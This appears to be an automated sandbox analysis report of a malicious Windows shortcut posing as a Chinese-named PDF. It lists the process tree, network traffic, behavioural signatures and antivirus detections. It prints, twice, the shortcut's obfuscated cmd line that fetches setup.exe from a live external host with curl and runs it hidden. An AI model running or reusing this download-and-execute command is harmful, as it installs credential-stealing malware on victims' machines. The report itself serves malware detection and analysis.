Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 28, 2025, 2:39 p.m.	April 28, 2025, 2:41 p.m.

Size	1.5KB
Type	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=3, Archive, ctime=Tue Apr 8 18:55:58 2025, mtime=Tue Apr 15 17:04:49 2025, atime=Tue Apr 8 18:55:58 2025, length=289792, window=hidenormalshowminimized
MD5	`c77858bbcfb2ab87d9469d6376cbe223`
SHA256	`f4bb263eb03240c1d779a00e1e39d3374c93d909d358691ca5386387d06be472`
CRC32	`D7AA854C`
ssdeep	`24:8F7JAnJeCV/YY7lkAuuPx+/5+j+EMJ+mw9Ze9ZUqXQaR3+hablf7CY+/vm:8FenASzacfMJ+t909iqXv3Kah7CYk`
Yara	Lnk_Format_Zero - LNK Format lnk_file_format - Microsoft Windows Shortcut File Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "dwgenGeAk" C:\Users\test22\AppData\Local\Temp\2025416-方案1-方案細節.pdf.lnk
2576
- cmd.exe "C:\Windows\System32\cmd.exe" /c ^c^u^r^l https://mail.9kyd.com/skins/setup.exe -o C:\Users\Public\Downloads\setup.exe && (^s^t^a^r^t /^B C:\Users\Public\Downloads\setup.exe)
  2688
  - curl.exe curl https://mail.9kyd.com/skins/setup.exe -o C:\Users\Public\Downloads\setup.exe
    2792
  - setup.exe C:\Users\Public\Downloads\setup.exe
    2532
    - irsetup.exe "C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:1798690 "__IRAFN:C:\Users\Public\Downloads\setup.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-3832866432-4053218753-3017428901-1001"
      2728
      - chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -- "C:\Users\test22\AppData\Local\Temp\document.pdf"
        452
        
        chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=65.0.3325.181 --initial-client-data=0x88,0x8c,0x90,0x84,0x94,0x7fef3eaf1e8,0x7fef3eaf1f8,0x7fef3eaf208
        1792
        
        chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=204 --on-initialized-event-handle=316 --parent-handle=320 /prefetch:6
        1316

Name	Response	Post-Analysis Lookup
mail.9kyd.com	A 61.222.10.72	61.222.10.72

IP Address	Status	Action
164.124.101.2	Active	Moloch
61.222.10.72	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.101:49167 61.222.10.72:443	None	None	None

Checks if process is being debugged by a debugger (34 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:41 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:41 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:41 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0
IsDebuggerPresent April 28, 2025, 2:40 p.m.			0	0

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\PATH

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 28, 2025, 2:40 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ April 28, 2025, 2:41 p.m.	stacktrace: exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.r14: 180351152 registers.r15: 180351592 registers.rcx: 1408 registers.rsi: 17302540 registers.r10: 0 registers.rbx: 108851584 registers.rsp: 180350312 registers.r11: 180354848 registers.r8: 1994752396 registers.r9: 0 registers.rdx: 1476 registers.r12: 32946384 registers.rbp: 180350464 registers.rdi: 32682928 registers.rax: 4861440 registers.r13: 180351024	1	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Starts servers listening (3 events)

Time & API	Arguments	Status	Return
bind April 28, 2025, 2:32 p.m.	ip_address: 127.0.0.1 socket: 144 port: 0	1	0
listen April 28, 2025, 2:32 p.m.	socket: 144 backlog: 1	1	0
accept April 28, 2025, 2:32 p.m.	ip_address: socket: 144 port: 0	1	152

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 28, 2025, 2:40 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a42000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 2:40 p.m.	process_identifier: 452 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 2:40 p.m.	process_identifier: 1792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 2:40 p.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceW April 28, 2025, 2:40 p.m.	number_of_free_clusters: 3250794 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: C:\ total_number_of_clusters: 8362495	1	1	0

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process chrome.exe with pid 452 crashed
__exception__ April 28, 2025, 2:41 p.m.	stacktrace: exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.r14: 180351152 registers.r15: 180351592 registers.rcx: 1408 registers.rsi: 17302540 registers.r10: 0 registers.rbx: 108851584 registers.rsp: 180350312 registers.r11: 180354848 registers.r8: 1994752396 registers.r9: 0 registers.rdx: 1476 registers.r12: 32946384 registers.rbp: 180350464 registers.rdi: 32682928 registers.rax: 4861440 registers.r13: 180351024	1	0	0

Steals private information from local Internet browsers (38 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-spare.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Bloom Prefix Set
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing IP Blacklist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Module Whitelist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing\ChromeFilenameClientIncident.store
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Stability\452-1745818844500000.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing UwS List Prefix Set
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Inclusion Whitelist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Csd Whitelist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics-active.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Extension Blacklist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics-spare.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-680F3A64-1C4.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-63327DF3-A54.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Resource Blacklist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\reports\b3a23bc8-dd8b-4c9e-8e74-11fb079cb9c7.dmp
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\First Run
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\reports
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Download Whitelist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Download
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_0
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Side-Effect Free Whitelist
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing\AnyIpMalware.store
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing UwS List
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Bloom
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\metadata
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\index
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_1
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_2
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_3

Creates (office) documents on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\document.pdf
file	C:\Users\test22\AppData\Roaming\AcrobatReader\document.pdf
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\document.pdf

Creates executable files on the filesystem (9 events)

file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
file	C:\Users\test22\AppData\Roaming\AcrobatReader\python36.dll
file	C:\Users\test22\AppData\Roaming\AcrobatReader\lua5.1.dll
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\python.exe
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\python36.dll
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll
file	C:\Users\test22\AppData\Roaming\AcrobatReader\irsetup.exe
file	C:\Users\Public\Downloads\setup.exe
file	C:\Users\test22\AppData\Roaming\AcrobatReader\python.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\2025416-方案1-方案細節.pdf.lnk

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /c ^c^u^r^l https://mail.9kyd.com/skins/setup.exe -o C:\Users\Public\Downloads\setup.exe && (^s^t^a^r^t /^B C:\Users\Public\Downloads\setup.exe)

Drops an executable to the user AppData folder (8 events)

file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\python.exe
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\unicodedata.pyd
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\_socket.pyd
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\select.pyd
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\python36.dll
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\_ssl.pyd

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 28, 2025, 2:40 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\document.pdf parameters: filepath: C:\Users\test22\AppData\Local\Temp\document.pdf	1	1	0
ShellExecuteExW April 28, 2025, 2:40 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\AcrobatReader\python.exe parameters: C:\Users\test22\AppData\Roaming\AcrobatReader\setup.py filepath: C:\Users\test22\AppData\Roaming\AcrobatReader\python.exe	1	1	0

Potentially malicious URLs were found in the process memory dump (50 out of 1131 events)

url	https://crashpad.chromium.org/bug/new
url	https://crashpad.chromium.org/
url	https://clients4.google.com/invalidation/android/request/
url	http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
url	http://services.ukrposhta.com/postindex_new/
url	http://dts.search-results.com/sr?lng=
url	http://inposdom.gob.do/codigo-postal/
url	http://creativecommons.org/ns
url	http://www.postur.fo/
url	https://qc.search.yahoo.com/search?ei=
url	https://cacert.omniroot.com/baltimoreroot.crt09
url	http://crbug.com/122474.
url	https://search.yahoo.com/search?ei=
url	http://t1.symcb.com/ThawtePCA.crl0/
url	http://crbug.com/31395.
url	https://support.google.com/chrome/answer/165139
url	http://crbug.com/320723
url	https://datasaver.googleapis.com/v1/clientConfigs
url	http://crl.starfieldtech.com/sfroot-g2.crl0L
url	https://ct.startssl.com/
url	https://suggest.yandex.com.tr/suggest-ff.cgi?part=
url	https://de.search.yahoo.com/favicon.ico
url	https://github.com/GoogleChrome/Lighthouse/issues
url	http://www.searchnu.com/favicon.ico
url	https://support.google.com/installer/?product=
url	http://msdn.microsoft.com/en-us/library/ms792901.aspx
url	https://www.najdi.si/search.jsp?q=
url	http://x.ss2.us/x.cer0
url	http://crl.geotrust.com/crls/gtglobal.crl04
url	https://accounts.google.com/ServiceLogin
url	https://accounts.google.com/OAuthLogin
url	https://c.android.clients.google.com/
url	https://www.google.com/tools/feedback/chrome/__submit
url	https://chrome.google.com/webstore/category/collection/dark_themes
url	http://check.googlezip.net/generate_204
url	http://ocsp.starfieldtech.com/08
url	http://www.guernseypost.com/postcode_finder/
url	http://crl.certum.pl/ca.crl0h
url	http://ator
url	https://suggest.yandex.by/suggest-ff.cgi?part=
url	http://feed.snap.do/?q=
url	https://sp.uk.ask.com/sh/i/a16/favicon/favicon.ico
url	http://www.language
url	https://support.google.com/chrome/
url	http://developer.chrome.com/apps/declare_permissions.html
url	http://www.google.com/chrome/intl/ko/eula_text.html
url	https://www.globalsign.com/repository/03
url	http://www.startssl.com/sfsca.crl0
url	http://UA-Compatible
url	https://se.search.yahoo.com/search?ei=

Yara rule detected in process memory (50 out of 1370 events)

description	Match Windows Http API call	rule	Str_Win32_Http_API
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Create a windows service	rule	Create_Service
description	Client_SW_User_Data_Stealer	rule	Client_SW_User_Data_Stealer
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	browser info stealer	rule	infoStealer_browser_Zero
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Google Chrome User Data Check	rule	Chrome_User_Data_Check_Zero
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Perform crypto currency mining	rule	BitCoin
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Possibly employs anti-virtualization techniques	rule	vmdetect
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Install itself for autorun at Windows startup	rule	Persistence
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Virtual currency	rule	Virtual_currency_Zero

Requests access to read memory contents of lsass.exe potentially indicative of credential dumping (1 event)

Time & API	Arguments	Status	Return	Repeated
NtOpenProcess April 28, 2025, 2:41 p.m.	desired_access: 0x00001010 () process_identifier: 452 process_handle: 0x000000000000017c	1	0	0

Drops a binary and executes it (2 events)

file	C:\Users\Public\Downloads\setup.exe
file	C:\Users\test22\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe

One or more non-whitelisted processes were created (3 events)

parent_process	chrome.exe	martian_process	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=204 --on-initialized-event-handle=316 --parent-handle=320 /prefetch:6
parent_process	chrome.exe	martian_process	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1216,3726028485053212574,14173262320772868140,131072 --gpu-preferences=KAAAAAAAAAAABwAAAQAAAAAAAAAAAGAAAQAAAAAAAAAIAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAACwAAABAAAAAAAAAAAQAAAAoAAAAQAAAAAAAAAAEAAAALAAAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x80ee --gpu-device-id=0xbeef --gpu-driver-vendor=Microsoft --gpu-driver-version=6.1.7600.16385 --gpu-driver-date=6-21-2006 --service-request-channel-token=5933EC9D7BF7EA30D75F21BFA0CA0FDB --mojo-platform-channel-handle=1232 --ignored=" --type=renderer " /prefetch:2
parent_process	chrome.exe	martian_process	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=65.0.3325.181 --initial-client-data=0x88,0x8c,0x90,0x84,0x94,0x7fef3eaf1e8,0x7fef3eaf1f8,0x7fef3eaf208

Found URLs in memory pointing to an IP address rather than a domain (potentially indicative of Command & Control traffic) (1 event)

url	http://127.0.0.1

Resumed a suspended thread in a remote process potentially indicative of process injection (46 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2576 resumed a thread in remote process 2688
Process injection	Process 2688 resumed a thread in remote process 2532
Process injection	Process 2532 resumed a thread in remote process 2728
Process injection	Process 2728 resumed a thread in remote process 452
Process injection	Process 2728 resumed a thread in remote process 2308
Process injection	Process 1792 resumed a thread in remote process 452
NtResumeThread April 28, 2025, 2:39 p.m.	thread_handle: 0x00000338 suspend_count: 1 process_identifier: 2688	1	0	0
NtResumeThread April 28, 2025, 2:40 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2532	1	0	0
NtResumeThread April 28, 2025, 2:40 p.m.	thread_handle: 0x000002b0 suspend_count: 1 process_identifier: 2728	1	0	0
NtResumeThread April 28, 2025, 2:40 p.m.	thread_handle: 0x000002f4 suspend_count: 1 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:40 p.m.	thread_handle: 0x0000034c suspend_count: 1 process_identifier: 2308	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0
NtResumeThread April 28, 2025, 2:41 p.m.	thread_handle: 0x0000000000000158 suspend_count: 2 process_identifier: 452	1	0	0

File has been identified by 27 AntiVirus engines on VirusTotal as malicious (27 events)

Lionic	Trojan.WinLNK.Agent.4!c
CTX	lnk.trojan.generic
ALYac	Trojan.GenericKD.76249881
VIPRE	Trojan.GenericKD.76249881
Arcabit	Trojan.Generic.D48B7B19
VirIT	Trojan.LNK.Heur.A
Symantec	CL.Downloader!gen20
ESET-NOD32	a variant of Generik.FTORMKK
Avast	LNK:Agent-HY [Trj]
Cynet	Malicious (score: 99)
Kaspersky	HEUR:Trojan.WinLNK.Agent.gen
BitDefender	Trojan.GenericKD.76249881
MicroWorld-eScan	Trojan.GenericKD.76249881
Emsisoft	Trojan.GenericKD.76249881 (B)
F-Secure	Suspicious:LNK/SuspiciousLNK.B
Sophos	Troj/DownLnk-AW
Google	Detected
Avira	LNK/Runner.VPOU
ZoneAlarm	Troj/DownLnk-AW
GData	Trojan.GenericKD.76249881
Varist	LNK/ABTrojan.FNTP-
VBA32	Trojan.Link.DoubleRun
Ikarus	Trojan.LNK.Agent
Zoner	Probably Heur.LNKScript
Tencent	Win32.Trojan.Agent.Mcnw
AVG	LNK:Agent-HY [Trj]
alibabacloud	Trojan:Win/Agent.gyf

2025416-方案1-方案細節.pdf.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All